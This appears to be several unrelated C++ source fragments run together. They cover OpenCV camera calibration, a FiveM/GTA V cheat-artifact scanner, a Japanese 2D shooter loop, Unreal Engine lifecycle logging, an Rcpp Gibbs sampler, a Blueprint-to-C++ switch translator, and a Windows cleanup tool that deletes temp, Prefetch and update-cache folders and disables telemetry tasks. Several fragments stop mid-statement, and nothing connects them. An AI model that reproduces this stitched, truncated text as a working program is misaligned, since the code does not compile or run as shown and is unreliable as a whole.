	cv::cvtColor(slika, slikaMod, cv::COLOR_BGR2HSV);
	//cv::GaussianBlur(slikaMod, slikaMod, cv::Size(3, 3), 0.3, 0.3);
	cv::namedWindow("tb");
	int h=49, s=88, v=28, H=68, S=255, V=255;
	h=35, s=36, v=210, H=80, S=219, V=255;
	cv::createTrackbar("Hmin", "tb", &h, 255);
	cv::createTrackbar("Smin", "tb", &s, 255);
	cv::createTrackbar("Vmin", "tb", &v, 255);
	cv::createTrackbar("Hmax", "tb", &H, 255);
	cv::createTrackbar("Smax", "tb", &S, 255);
	cv::createTrackbar("Vmax", "tb", &V, 255);
	while (1) {
		cv::inRange(slikaMod, cv::Scalar(h, s, v), cv::Scalar(H, S, V), green);
		cv::imshow("win", green);
		if (cv::waitKey(1) == 'q') break;
	}
	//cv::destroyWindow("win");
	cv::destroyWindow("tb");
}

void kalibracija() {
	cv::Mat slika;
	std::vector<std::vector<cv::Point2f> >corners(6);
	for (int i = 0; i < 6; i++) {
		std::stringstream ss;
		ss << "../slike/slika";
		ss << i;
		ss << ".jpg";
		std::string sl;
		ss >> sl;
		slika = cv::imread(sl, cv::IMREAD_COLOR);
		cv::Mat gray;
		cv::cvtColor(slika, gray, cv::COLOR_BGR2GRAY);
		auto x = cv::findChessboardCorners(gray, cv::Size(5, 6), corners[i], cv::CALIB_CB_ADAPTIVE_THRESH + cv::CALIB_CB_NORMALIZE_IMAGE);
		cv::cornerSubPix(gray, corners[i], cv::Size(10, 10), cv::Size(-1, -1), cv::TermCriteria(cv::TermCriteria::EPS + cv::TermCriteria::COUNT, 3000, 0.000001));
		cv::drawChessboardCorners(slika, cv::Size(5, 6), corners[i], true);
		//cv::imshow("slika", slika);
		//cv::waitKey(0);
	}

	std::vector<cv::Point3f> obj;
	for (int i = 0; i < 6; i++) {
		for (int j = 0; j < 5; j++) {
			obj.push_back(cv::Point3f(i * 1.0f * 25, j * 1.0f * 40, 0));
		}
	}
	std::vector<std::vector<cv::Point3f> >objects(6, obj);

	std::vector<cv::Mat> rvecs, tvecs;
	double error = cv::calibrateCamera(objects, corners, slika.size(), cameraMatrix, distCoefs, rvecs, tvecs);
	std::cout << error << std::endl;
	std::cout << cameraMatrix;
	cv::Rodrigues(rvecs[5], R);
	t = tvecs[5];
	//std::cout << R << std::endl;
	//std::cout << tvecs[5] << std::endl;

	T = cv::Mat::eye(4, 4, CV_64F);
	R.copyTo(T(cv::Rect(0, 0, 3, 3)));
	tvecs[5].copyTo(T(cv::Rect(3, 0, 1, 3)));
	cv::invert(T, T);
	//std::cout << T;

}
std::vector<cv::Point3f>spaseneTacke;

std::vector<cv::Point2f> PreparePixel(cv::Mat pixel, cv::Mat A, cv::Mat dist) {
	std::vector<cv::Point2f> fin(1);
	cv::undistortPoints(pixel, fin, A, dist);
	return fin;
}

void PixelToWorld(cv::Mat pixel, cv::Mat R, cv::Mat t, cv::Mat &dir, cv::Mat &origin) {
	cv::Mat dcam = pixel;
	cv::Mat R_inv;
	cv::transpose(R, R_inv);
	dir = R_inv*dcam;
	cv::normalize(dir, dir);
	origin = -R_inv * t;
}

cv::Mat IntersectionPoint(cv::Mat dir, cv::Mat origin, cv::Mat planepoint, cv::Mat planeort) {
	cv::Mat pom1 = (planepoint - origin);
	cv::transpose(pom1, pom1);
	pom1 = pom1 * planeort;
	cv::Mat pom2 = dir;
	cv::transpose(pom2, pom2);
	pom2 = pom2 * planeort;
	auto t = pom1.at<double>(0, 0) / pom2.at<double>(0, 0);
	cv::Mat inter = origin + t * dir;
	return inter;
}

cv::Point3f positionEstimation(int x, int y) {
	cv::Mat planepoint(3, 1, CV_64F);
	planepoint.at<double>(0, 0) = 232.639;
	planepoint.at<double>(1, 0) = 160.847;
	planepoint.at<double>(2, 0) = 0;

	cv::Mat ort(3, 1, CV_64F);
	ort.at<double>(1, 0) = 0.999;
	ort.at<double>(0, 0) = 0.044;
	ort.at<double>(2, 0) = 0;
	cv::normalize(ort, ort);

	cv::Mat pt(2, 1, CV_32F);
	pt.at<float>(0, 0) = x;
	pt.at<float>(1, 0) = y;
	std::vector<cv::Point2f>undistpts = PreparePixel(pt, cameraMatrix, distCoefs);

	cv::Mat pixel(3, 1, CV_64F);
	pixel.at<double>(0, 0) = undistpts[0].x;
	pixel.at<double>(1, 0) = undistpts[0].y;
	pixel.at<double>(2, 0) = 1;

	cv::Mat o, d;
	PixelToWorld(pixel, R, t, d, o);
	cv::Mat point = IntersectionPoint(d, o, planepoint, ort);

	cv::Point3f rez;
	rez.x = point.at<double>(0, 0);
	rez.y = point.at<double>(1, 0);
	rez.z = point.at<double>(2, 0);
	return rez;
}

void click_event(int event, int x, int y, int flags, void* params) {
	if (event == cv::EVENT_LBUTTONDOWN) {
		auto rez=positionEstimation(x, y);
		std::cout << rez.x << "," << rez.y << "," << rez.z <<std::endl;
	}
}

void savePoints(cv::Mat mask) {
	std::ofstream of("data.csv");

	for (int i = 0; i < 720; i++) {
		for (int j = 0; j < 1280; j++) {
			if (mask.at<uchar>(i, j) > 0) {
				auto rez = positionEstimation(j, i);
				spaseneTacke.push_back(rez);
				of << rez.x << "," << rez.y << "," << rez.z << "\n";
			}
		}
	}
	of.close();
}

bool Step1(cv::Mat& pSrc, cv::Mat& pDst) {
	bool t = false;
	pSrc.copyTo(pDst);
	for (int i = 1; i < pSrc.rows - 1; i++) {
		for (int j = 1; j < pSrc.cols - 1; j++) {
			if (pSrc.at<uchar>(i, j) > 0) {
				int n1 =


#include "DirectFinds.h"
#include <filesystem>
#include <fstream>
#include <sstream>
#include <windows.h>
#include <knownfolders.h>
#include <shlobj.h>
#include <vector>
#include <string>

namespace fs = std::filesystem;

std::vector<Finding> DirectFinds::ScanDirectFinds() {
    std::vector<Finding> findings;

    // Get user profile path for dynamic paths
    PWSTR pPath = NULL;
    std::string userProfile, localAppData;
    if (SUCCEEDED(SHGetKnownFolderPath(FOLDERID_Profile, 0, NULL, &pPath))) {
        std::wstring ws(pPath);
        userProfile = std::string(ws.begin(), ws.end());
        CoTaskMemFree(pPath);
    }
    if (SUCCEEDED(SHGetKnownFolderPath(FOLDERID_LocalAppData, 0, NULL, &pPath))) {
        std::wstring ws(pPath);
        localAppData = std::string(ws.begin(), ws.end());
        CoTaskMemFree(pPath);
    }
    if (userProfile.empty() || localAppData.empty()) {
        return findings; // Cannot proceed without paths
    }

    // Check for d3d10.dll
    std::string fiveMPlugins = localAppData + "\\FiveM\\FiveM.app\\plugins\\";
    std::string d3d10Path = fiveMPlugins + "d3d10.dll";
    if (fs::exists(d3d10Path)) {
        findings.push_back({ "d3d10.dll Found", d3d10Path, "" });
    }

    // Check for .meta files in ai folder
    std::string aiPath = localAppData + "\\FiveM\\FiveM.app\\citizen\\common\\data\\ai\\";
    if (fs::exists(aiPath)) {
        try {
            for (const auto& entry : fs::directory_iterator(aiPath, fs::directory_options::skip_permission_denied)) {
                if (entry.is_regular_file() && entry.path().extension() == ".meta") {
                    findings.push_back({ ".meta File in ai", entry.path().string(), "" });
                }
            }
        }
        catch (const std::exception&) {}
    }

    // Check x64a.rpf size in GTA V dirs
    std::vector<std::string> gtaDirs = {
        "C:\\Program Files (x86)\\Steam\\steamapps\\common\\Grand Theft Auto V",
        "C:\\Program Files\\Epic Games\\GrandTheftAutoV",
        "C:\\Program Files\\Epic Games\\GTAV",
        "C:\\Program Files\\Rockstar Games\\Grand Theft Auto V"
    };
    // Add WindowsApps GTA V folders
    std::string windowsApps = "C:\\Program Files\\WindowsApps";
    if (fs::exists(windowsApps)) {
        try {
            for (const auto& entry : fs::directory_iterator(windowsApps, fs::directory_options::skip_permission_denied)) {
                if (entry.is_directory() && entry.path().filename().string().rfind("RockstarGames.GrandTheftAutoV_", 0) == 0) {
                    gtaDirs.push_back(entry.path().string());
                }
            }
        }
        catch (const std::exception&) {}
    }
    for (const auto& dir : gtaDirs) {
        if (fs::exists(dir)) {
            std::string rpf = dir + "\\x64a.rpf";
            if (fs::exists(rpf)) {
                try {
                    uintmax_t sizeKB = fs::file_size(rpf) / 1024;
                    if (sizeKB != 47566) {
                        findings.push_back({ "x64a.rpf Size Mismatch", rpf, "Size: " + std::to_string(sizeKB) + " KB" });
                    }
                }
                catch (const std::exception&) {}
            }
        }
    }

    // Export to CSV
    std::ofstream csv("DirectFinds.csv");
    if (csv.is_open()) {
        csv << "Type,Path,Details\n";
        for (const auto& f : findings) {
            csv << "\"" << f.type << "\",\"" << f.path << "\",\"" << f.details << "\"\n";
        }
        csv.close();
    }

    return findings;
}


#include <Novice.h>
#include "Player.h"
#include "Enemy.h"
#include "PlayerBullet.h"
#include "EnemyBullet.h"
#include "Line.h"
#include "Vector2.h"
#include <cstring>

const char kWindowTitle[] = "2061_試作";

const int WL = 0;
const int WR = 1280;
const int WT = 0;
const int WB = 720;
/*
#pragma region 暫定
struct Vector2
{
	float x;
	float y;
};

struct Player
{
	Vector2 pos;
	float radius;
	Vector2 speed;
	int shootCoolTime;
};

struct Enemy
{
	Vector2 pos;
	float radius;
	Vector2 speed;
	int shootCoolTime;
};

struct Bullet
{
	int isShot;//弾を撃つ変数
	Vector2 pos;//弾の位置
	Vector2 size;//弾の大きさ
	float radius;
	Vector2 velocity;//弾の移動量
};
struct BulletE
{
	int isShotE;//弾を撃つ変数
	Vector2 pos;//弾の位置
	Vector2 size;//弾の大きさ
	float radius;
	Vector2 velocity;//弾の移動量
};
struct Line
{
	Vector2 pos;
	float width;
	float height;
	//Vector2 speed;
};
#pragma endregion
*/

// Windowsアプリでのエントリーポイント(main関数)
int WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
{

	/*

	Player player{};
	player.pos.x = 640.0f;
	player.pos.y = 650.0f;
	player.radius = 30.0f;
	player.speed.x = 10.0f;
	player.speed.y = 10.0f;
	player.shootCoolTime = 10;

	Enemy enemy{};
	enemy.pos.x = 640.0f;
	enemy.pos.y = 70.0f;
	enemy.radius = 30.0f;
	//enemy.radius.x = 30.0f;
	//enemy.radius.y = 30.0f;
	enemy.speed.x = 5.0f;
	enemy.speed.y = 5.0f;

	Line line{};
	line.pos.x = 0.0f;
	line.pos.y = 350.0f;
	line.width = 1280.0f;
	line.height = 20.0f;

	//弾の変数宣言
	const int kMaxbulletsP = 8;//弾の配列
	Bullet bulletP[kMaxbulletsP] = {};
	for (int i = 0; i < kMaxbulletsP; i++)
	{
		//bulletP[i].size = { 5.0f,7.0f };//弾の大きさ
		bulletP[i].velocity = { 0.0f,-5.0f };//弾の移動量
		bulletP[i].radius = 5.0f;
	}

	const int kMaxbulletsE = 8;//弾の配列
	BulletE bulletE[kMaxbulletsE] = {};
	for (int i = 0; i < kMaxbulletsE; i++)
	{
		//bulletE[i].size = { 5.0f,7.0f };//弾の大きさ
		bulletE[i].velocity = { 0.0f,5.0f };//弾の移動量
		bulletE[i].radius = 5.0f;
		bulletE[i].isShotE = true;
	}

	//弾のクールタイムの変数宣言
	int bulletsCoolTimer = 0;
	int bulletsCoolTimerE = 0;

	//int isShotEnemy = true;

	//int time = 100;

	int WL = 0;
	int WR = 1280;
	int WT = 0;
	int WB = 720;

	*/

	// ライブラリの初期化
	//Novice::Initialize(kWindowTitle, WR, WB);
	Novice::Initialize(kWindowTitle, 1280, 720);

	// キー入力結果を受け取る箱
	char keys[256] = {0};
	char preKeys[256] = {0};

	Player player;
	Enemy enemy;
	Line line;

	const int kMaxPlayerBullets = 8;
	PlayerBullet playerBullets[kMaxPlayerBullets];

	const int kMaxEnemyBullets = 8;
	EnemyBullet enemyBullets[kMaxEnemyBullets];

	int playerBulletCooldown = 0;
	int enemyBulletCooldown = 0;

	// ウィンドウの×ボタンが押されるまでループ
	while (Novice::ProcessMessage() == 0)
	{
		// フレームの開始
		Novice::BeginFrame();

		// キー入力を受け取る
		memcpy(preKeys, keys, 256);
		Novice::GetHitKeyStateAll(keys);

		///
		/// ↓更新処理ここから
		///

		/*
#pragma region プレイヤーの移動
		if (keys[DIK_W])
		{
			player.pos.y -= player.speed.y;
		}
		if (keys[DIK_S])
		{
			player.pos.y += player.speed.y;
		}
		if (keys[DIK_A])
		{
			player.pos.x -= player.speed.x;
		}
		if (keys[DIK_D])
		{
			player.pos.x += player.speed.x;
		}
#pragma endregion

#pragma region 壁の判定

		if (player.pos.x - player.radius < WL)
		{
			player.pos.x += player.speed.x;
		}

		if (player.pos.x + player.radius > WR)
		{
			player.pos.x -= player.speed.x;
		}

		if (player.pos.y - player.radius < WT)
		{
			player.pos.y += player.speed.y;
		}

		if (player.pos.y + player.radius > WB)
		{
			player.pos.y -= player.speed.y;
		}

#pragma endregion

#pragma region 敵の移動

		enemy.pos.x += enemy.speed.x;

		if (enemy.pos.x + enemy.radius > WR)
		{
			enemy.speed.x = -enemy.speed.x;
		}
		else if (enemy.pos.x - enemy.radius < WL)
		{
			enemy.speed.x = -enemy.speed.x;
		}

#pragma endregion

#pragma region プレイヤーの弾

		//弾のクールタイム
		if (bulletsCoolTimer > 0)
		{
			bulletsCoolTimer--;//クール中はクールタイムを減らす
		}
		//弾の更新処理
		if (keys[DIK_SPACE])//スペースキーを押したら
		{
			if (bulletsCoolTimer <= 0)//弾のクールタイムが0になったら
			{
				//弾の配列を有効化
				for (int i = 0; i < kMaxbulletsP; i++)
				{
					if (!bulletP[i].isShot)//弾が撃たれていなかったら
					{
						bulletP[i].isShot = true;//弾を撃つ
						bulletP[i].pos = player.pos;//弾をプレイヤーの位置に配置
						bulletsCoolTimer = 10;//弾を撃ったらクールタイムを10にする
						break;//完了
					}
				}
			}
		}
		//弾の配列を有効化
		for (int i = 0; i < kMaxbulletsP; i++)
		{
			if (bulletP[i].isShot)
			{
				bulletP[i].pos.x += bulletP[i].velocity.x;
				bulletP[i].pos.y += bulletP[i].velocity.y;
				if (bulletP[i].pos.y + bulletP[i].radius < WT)//弾が画面外に出たら
				{
					bulletP[i].isShot = false;//弾が消える
				}
			}
		}
#pragma endregion

#pragma region 敵の弾

		//弾のクールタイム
		if (bulletsCoolTimerE > 0)
		{
			bulletsCoolTimerE--;//クール中はクールタイムを減らす
		}
		//弾の更新処理
		if (bulletsCoolTimerE == 0)
		{
			if (bulletsCoolTimerE <= 0)//弾のクールタイムが0になったら
			{

				//弾の配列を有効化
				for (int i = 0; i < kMaxbulletsP; i++)
				{
					if (!bulletE[i].isShotE)//弾が撃たれていなかったら
					{
						bulletE[i].isShotE = true;//弾を撃つ
						bulletE[i].pos = enemy.pos;//弾をプレイヤーの位置に配置
						bu


// Free for all, this is just some test code thrown together to validate lifecycle order.
// Do whatever you want with it, very unlikely it's actually useful to anyone!

#include "LActor.h"
#include "LActorComponent.h"
#include "LUtils.h"

// Sets default values
ALActor::ALActor()
{
	PrimaryActorTick.bCanEverTick = true;

	RootComponent = CreateDefaultSubobject<USceneComponent>(TEXT("Root"));
	ActorComponent = CreateDefaultSubobject<ULActorComponent>(TEXT("Lifecycle Actor Component"));
}

void ALActor::BeginPlay()
{
	FLUtils::Log(TEXT("AActor"), TEXT("BeginPlay"));
	Super::BeginPlay();
}

void ALActor::EndPlay(const EEndPlayReason::Type EndPlayReason)
{
	FLUtils::Log(TEXT("AActor"), TEXT("EndPlay"));
	Super::EndPlay(EndPlayReason);
}

void ALActor::PostInitializeComponents()
{
	FLUtils::Log(TEXT("AActor"), TEXT("PostInitializeComponents"));
	Super::PostInitializeComponents();
}

void ALActor::PostActorCreated()
{
	FLUtils::Log(TEXT("AActor"), TEXT("PostActorCreated"));
	Super::PostActorCreated();
}

void ALActor::Tick(float DeltaTime)
{
	if (!bTicked)
	{
		FLUtils::Log(TEXT("AActor"), TEXT("Tick"));
		bTicked = true;
	}

	Super::Tick(DeltaTime);
}


#include <RcppArmadillo.h>
#include <Rcpp.h>
#include <iostream>
#include <thread>
#include <mutex>
#include "Gibbs_samp_Gam3seo.h"

using namespace Rcpp;
using namespace arma;
using namespace std;

double Updatesig2(arma::vec &gamk, double ak,double bk, int &p ){
    double invga,invgb,sig2;
    invga = ak + p / 2;
    invgb = as_scalar(gamk.t()*gamk) / 2 + bk;

    //Rprintf("Have a look of a = %4f \n",invga);
    //Rprintf("Have a look of b = %4f \n",invgb);
    sig2 =  1 / randg<double>(distr_param(invga, 1/invgb));
    //Rprintf("Have a look of siga = %4f \n",invga);

    return sig2;

}

// [[Rcpp::depends(RcppArmadillo)]]

ObjGibbs_Gam3seo MRGibbs_Gam3seo(arma::vec &gammah1, arma::vec &gammah3, arma::vec&Gammah1, arma::vec&Gammah3,
                          arma::mat &invS1, arma::mat &invS2, arma::mat &invS3, arma::mat &invS4,
                          arma::mat &R, double &rho_1, double &rho_2)
{
    int maxIter = 12000;
    int thin = 10;
    int burnin = 5000;
    int p = gammah1.n_elem;

    double sigma12 = 1; double sigma22 = 1;double sigma32 = 1;
    double beta1 = 0.1;double beta4 = 0.1;
    double ak1 = 0.001 ; double bk1 =0.001;
    double ak2 = 0.001 ; double bk2 =0.001;
    double ak3 = 0.001 ; double bk3 =0.001;

    vec gamma1 = 0.01*ones(p, 1);
    vec gamma3 = 0.01*ones(p, 1);
    vec beta2 = 0.01*ones(p, 1);

    mat s1rs1 = invS1 * R * invS1;
    mat s3rs3 = invS3 * R * invS3;
    mat s1rs3 = invS1 * R * invS3;

    mat s2rs2 = invS2 * R * invS2;
    mat s4rs4 = invS4 * R * invS4;
    mat s2rs4 = invS2 * R * invS4;
    vec s1rs1_temp = diagvec(s1rs1);
    vec s3rs3_temp = diagvec(s3rs3);
    vec s1rs3_temp = diagvec(s1rs3);
    vec s2rs2_temp = diagvec(s2rs2);
    vec s4rs4_temp = diagvec(s4rs4);
    vec s2rs4_temp = diagvec(s2rs4);

    vec s1s1g1_hat = invS1 * invS1 * gammah1;
    vec s1s3g1_hat = invS1 * invS3 * gammah1;
    vec s3s3G1_hat = invS3 * invS3 * Gammah1;
    vec s1s3G1_hat = invS1 * invS3 * Gammah1;

    vec s4s4G3_hat = invS4 * invS4 * Gammah3;
    vec s2s4g3_hat = invS2 * invS4 * gammah3;
    vec s2s2g3_hat = invS2 * invS2 * gammah3;
    vec s2s4G3_hat = invS2 * invS4 * Gammah3;

    int numsave = maxIter / thin;

    // for calculate prepared-----------------------

    vec v12 = zeros(p, 1);
    vec v32 = zeros(p, 1);
    vec vb22 = zeros(p, 1);
    double vb12 = 0.0;
    double vb42 = 0.0;

    vec mu11 = zeros(p, 1);
    vec mu33 = zeros(p, 1);
    vec mub22 = zeros(p, 1);
    double mub11 = 0.0;
    double mub44 = 0.0;
    double sig12 = 1.0;
    double sig22 = 1.0;
    double sig32 = 1.0;

    int l = 0;

    //prepare for res para--------------------------
    vec Beta1res = ones(numsave, 1);
    vec Beta4res = ones(numsave, 1);
    vec Sg12Res = ones(numsave, 1);
    vec Sg22Res = ones(numsave, 1);
    vec Sg32Res = ones(numsave, 1);

    double rho1 = 1 / (1 - rho_1 * rho_1);
    double rho2 = 1 / (1 - rho_2 * rho_2);
    for(int iter = 0; iter < (int_fast32_t)(maxIter + burnin) ; iter ++){
    //------------Begin to give some middle value-----------
        double invsg12 = 1. / sigma12;
        double invsg22 = 1. / sigma22;
        double invsg32 = 1. / sigma32;
        double b12 = beta1*beta1;
        double b42 = beta4*beta4;
        //update gamma1
        for(int j = 0; j < p; j++){
            v12[j] = 1. / (rho1 * s1rs1_temp[j] - 2 * rho_1 * rho1 * beta1 * s1rs3_temp[j] + rho1 * b12 * s3rs3_temp[j]
                   + rho2 * b42 * s4rs4_temp[j] + invsg12) ;
            double mu1;
            mu1 =  rho1 * (- (dot(s1rs1.row(j), gamma1) - gamma1[j] * s1rs1_temp[j] )
                   + 2 * rho_1 * beta1 * (dot(s1rs3.row(j), gamma1) - gamma1[j] * s1rs3_temp[j])
                   - b12 * (dot(s3rs3.row(j), gamma1) - gamma1[j] * s3rs3_temp[j] )
                   - rho_1 * beta1 * s1s3g1_hat[j] + beta1 * s3s3G1_hat[j]
                   + s1s1g1_hat[j] - rho_1 * s1s3G1_hat[j]
                   + rho_1 * dot(s1rs3.row(j), beta2) + rho_1 * beta4 * dot(s1rs3.row(j), gamma3)
                   - beta1 * dot(s3rs3.row(j), beta2) - beta1 * beta4 * dot(s3rs3.row(j), gamma3)
                  ) * v12[j]
                    +rho2 * (- b42 * (dot(s4rs4.row(j), gamma1) - gamma1[j] * s4rs4_temp[j] )
                   - rho_2 * beta4 * s2s4g3_hat[j] + beta4 * s4s4G3_hat[j]
                   - beta1 * beta4 * dot(s4rs4.row(j), gamma3) + rho_2 * beta4 * dot(s2rs4.row(j), gamma3)
                  ) * v12[j] ;
            mu11[j] = mu1 + randn()*sqrt(v12[j]);
            gamma1[j] = mu11[j];
        }
        //update  gamma3
        for(int j = 0; j < p; j++){
            v32[j] = 1. / (b42 * rho1 * s3rs3_temp[j] + invsg32
                  + rho2 * s2rs2_temp[j] - 2 * rho_2 * rho2 * beta1 * s2rs4_temp[j] + rho2 * b12 * s4rs4_temp[j] ) ;
            double mu3;
            mu3 = rho1 * (- b42 * (dot(s3rs3.row(j), gamma3) - gamma3[j] * s3rs3_temp[j] )
                  - rho_1 * beta4 * s1s3g1_hat[j] + beta4 * s3s3G1_hat[j]
                  + rho_1 * b


/*
 * Publisher: AO
 * Year of Publication: 2025
 * Copyright AO All Rights Reserved.
 */

#include "TranslatorObjects/SwitchTranslatorObject.h"
#include "BlueprintNativizationSubsystem.h"
#include "BlueprintNativizationLibrary.h"
#include "K2Node_SwitchInteger.h"
#include "K2Node_SwitchString.h"
#include "K2Node_SwitchName.h"
#include "K2Node_SwitchEnum.h"
#include "K2Node_Switch.h"

FString USwitchTranslatorObject::GenerateCodeFromNode(UK2Node* Node,
    FString EntryPinName,
    TArray<FVisitedNodeStack> VisitedNodes,
    TArray<UK2Node*> MacroStack, TSet<FString>& Preparations, UNativizationV2Subsystem* NativizationV2Subsystem)
{
    FString Content;

    UK2Node_Switch* SwitchNode = Cast<UK2Node_Switch>(Node);
    if (!SwitchNode) return Content;

    UEdGraphPin* DefaultPin = SwitchNode->GetDefaultPin();
    UEdGraphPin* SelectionPin = SwitchNode->GetSelectionPin();
    FString SelectionExpiration = TEXT("/*Selection*/0");

	TSet<FString> LocalPreparations = Preparations;

    if (SelectionPin)
    {
        FGenerateResultStruct SelectionExpirationResultStruct = NativizationV2Subsystem->GenerateInputParameterCodeForNode(SwitchNode, SelectionPin, 0, MacroStack);
        LocalPreparations.Append(SelectionExpirationResultStruct.Preparations);
        SelectionExpiration = SelectionExpirationResultStruct.Code;
    }

	Content += GenerateNewPreparations(Preparations, LocalPreparations);

    TArray<UEdGraphPin*> OptionPins = UBlueprintNativizationLibrary::GetFilteredPins(Node, EPinOutputOrInputFilter::Ouput, EPinExcludeFilter::None, EPinIncludeOnlyFilter::ExecPin);
    OptionPins.Remove(DefaultPin);

    bool bIsStringLikeSwitch = Cast<UK2Node_SwitchString>(SwitchNode) != nullptr || Cast<UK2Node_SwitchName>(SwitchNode) !=nullptr;

    if (bIsStringLikeSwitch)
    {
        bool bFirst = true;

        for (UEdGraphPin* CasePin : OptionPins)
        {
            if (!CasePin || CasePin->LinkedTo.Num() == 0 || !CasePin->LinkedTo[0]) continue;

            UK2Node* CaseNode = Cast<UK2Node>(CasePin->LinkedTo[0]->GetOwningNode());
            FString CasePinName = CasePin->LinkedTo[0]->GetName();

            FString CaseValue = FString::Format(TEXT("\"{0}\""), { *CasePin->GetName() });
            FString CaseBody = NativizationV2Subsystem->GenerateCodeFromNode(CaseNode, CasePinName, VisitedNodes, LocalPreparations, MacroStack);

            Content += FString::Format(TEXT("{0}if ({1} == {2})\n{\n{3}\n}\n"), {
                bFirst ? TEXT("") : TEXT("else "),
                *SelectionExpiration,
                *CaseValue,
                *CaseBody
                });

            bFirst = false;
        }

        if (DefaultPin && DefaultPin->LinkedTo.Num() > 0 && DefaultPin->LinkedTo[0])
        {
            UK2Node* DefaultNode = Cast<UK2Node>(DefaultPin->LinkedTo[0]->GetOwningNode());
            FString DefaultPinName = DefaultPin->LinkedTo[0]->GetName();
            FString DefaultBody = NativizationV2Subsystem->GenerateCodeFromNode(DefaultNode, DefaultPinName, VisitedNodes, LocalPreparations, MacroStack);

            Content += FString::Format(TEXT("else\n{\n{0}\n}\n"), { *DefaultBody });
        }
    }
    else
    {
        Content += FString::Format(TEXT("switch ({0})\n{\n"), { *SelectionExpiration });

        for (UEdGraphPin* CasePin : OptionPins)
        {
            if (!CasePin || CasePin->LinkedTo.Num() == 0 || !CasePin->LinkedTo[0]) continue;

            UK2Node* CaseNode = Cast<UK2Node>(CasePin->LinkedTo[0]->GetOwningNode());
            FString CasePinName = CasePin->LinkedTo[0]->GetName();

            FString CaseValue;

            if (UK2Node_SwitchInteger* SwitchInt = Cast<UK2Node_SwitchInteger>(SwitchNode))
            {
                CaseValue = CasePin->GetName(); // "0", "1", ...
            }
            else if (UK2Node_SwitchEnum* SwitchEnum = Cast<UK2Node_SwitchEnum>(SwitchNode))
            {
                UEnum* Enum = SwitchEnum->GetEnum();
                if (Enum)
                {
                    int32 EnumIndex = Enum->GetIndexByName(CasePin->PinName);
                    CaseValue = UBlueprintNativizationLibrary::GetUniqueFieldName(Enum) + TEXT("::") + Enum->GetNameStringByIndex(EnumIndex);
                }
                else
                {
                    CaseValue = CasePin->PinName.ToString();
                }
            }
            else
            {
                CaseValue = CasePin->PinName.ToString();
            }

            FString CaseBody = NativizationV2Subsystem->GenerateCodeFromNode(CaseNode, CasePinName, VisitedNodes, LocalPreparations, MacroStack);

            Content += FString::Format(TEXT("case {0}:\n{\n{1}\nbreak;\n}\n"), {
                *CaseValue,
                *CaseBody
                });
        }

        if (DefaultPin && DefaultPin->LinkedTo.Num() > 0 && DefaultPin->LinkedTo[0])
        {
            UK2Node* DefaultNode = Cast<UK2Node>(DefaultPin->LinkedTo[0]->GetOwningNode());
            FStrin


/*

88 88b 88  dP""b8 88     88   88 8888b.  888888 .dP"Y8
88 88Yb88 dP   `" 88     88   88  8I  Yb 88__   `Ybo."
88 88 Y88 Yb      88  .o Y8   8P  8I  dY 88""   o.`Y8b
88 88  Y8  YboodP 88ood8 `YbodP' 8888Y"  888888 8bodP'

*/

#include <string>
#include <windows.h>
#include <filesystem>
#include <thread>

/*

.dP"Y8  dP""b8 88""Yb 88 88""Yb 888888 .dP"Y8
`Ybo." dP   `" 88__dP 88 88__dP   88   `Ybo."
o.`Y8b Yb      88"Yb  88 88"""    88   o.`Y8b
8bodP'  YboodP 88  Yb 88 88       88   8bodP'

*/
#include "windows.h"
#include "functions.h"

namespace fs = std::filesystem;

//
// others
//
void imageDesktop() // melhorar imagem -> sera adicionado na prox versão
{
    regset(HKEY_CURRENT_USER, L"Control Panel\\Desktop", L"JPEGImportQuality", 00000064);
}

void CleanFolder(const std::string& path, const std::string& name) {

    HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
    SetConsoleTextAttribute(hConsole, 8);
    std::cout << "[..] Limpando " << name << "...\n";
    SetConsoleTextAttribute(hConsole, 7);

    if (!fs::exists(path)) return;

    try {
        for (const auto& entry : fs::directory_iterator(path, fs::directory_options::skip_permission_denied)) {
            try {
                fs::remove_all(entry);
                SetConsoleTextAttribute(hConsole, 10);
                std::cout << "[+] Apagado: " << entry.path().string() << "\n";
                SetConsoleTextAttribute(hConsole, 7);
            }
            catch (...) {
            }
        }
    }
    catch (...) {
    }

    std::cout << "Concluído: " << name << "\n";
}

int clearTempFiles() {
    char temp[MAX_PATH], windir[MAX_PATH];
    GetEnvironmentVariableA("TEMP", temp, MAX_PATH);
    GetEnvironmentVariableA("WINDIR", windir, MAX_PATH);

    // Threads para cada pasta
    std::thread t1(CleanFolder, std::string(temp), "User TEMP");
    std::thread t2(CleanFolder, std::string(windir) + "\\Temp", "Windows TEMP");
    std::thread t3(CleanFolder, std::string(windir) + "\\Prefetch", "Prefetch");
    std::thread t4(CleanFolder, std::string(windir) + "\\SoftwareDistribution\\Download", "Windows Update Download");

    t1.join();
    t2.join();
    t3.join();
    t4.join();

    std::cout << "Limpeza completa!\n";
    return 1;
}

//
// Apps Windows
//
void fuckUselessApps()
{
    std::vector<std::string> commands = {
        R"(schtasks /Change /TN "Microsoft\Windows\Application Experience\Microsoft Compatibility Appraiser" /Disable)",
        R"(schtasks /Change /TN "Microsoft\Windows\Application Experience\ProgramDataUpdater" /Disable)",
        R"(schtasks /Change /TN "Microsoft\Windows\Application Experience\StartupAppTask" /Disable)",
        R"(schtasks /Change /TN "Microsoft\Windows\Customer Experience Improvement Program\Consolidator" /Disable)",
        R"(schtasks /Change /TN "Microsoft\Windows\Customer Experience Improvement Program\KernelCeipTask" /Disable)",
        R"(schtasks /Change /TN "Microsoft\Windows\Customer Experience Improvement Program\UsbCeip" /Disable)",
        R"(schtasks /Change /TN "Microsoft\Windows\Customer Experience Improvement Program\Uploader" /Disable)",
        R"(schtasks /Change /TN "Microsoft\Windows\Shell\FamilySafetyUpload" /Disable)",
        R"(schtasks /Change /TN "Microsoft\Office\OfficeTelemetryAgentLogOn" /Disable)",
        R"(schtasks /Change /TN "Microsoft\Office\OfficeTelemetryAgentFallBack" /Disable)",
        R"(schtasks /Change /TN "Microsoft\Office\Office 15 Subscription Heartbeat" /Disable)",
        R"(schtasks /Change /DISABLE /TN "Microsoft\Windows\Setup\EOSNotify")",
        R"(schtasks /Change /DISABLE /TN "Microsoft\Windows\Setup\EOSNotify2")",
        R"(schtasks /Change /DISABLE /TN "Microsoft\Windows\End Of Support\Notify1")",
        R"(schtasks /Change /DISABLE /TN "Microsoft\Windows\End Of Support\Notify2")",
        R"(schtasks /Change /DISABLE /TN "Microsoft\Windows\SetupSQMTask")",
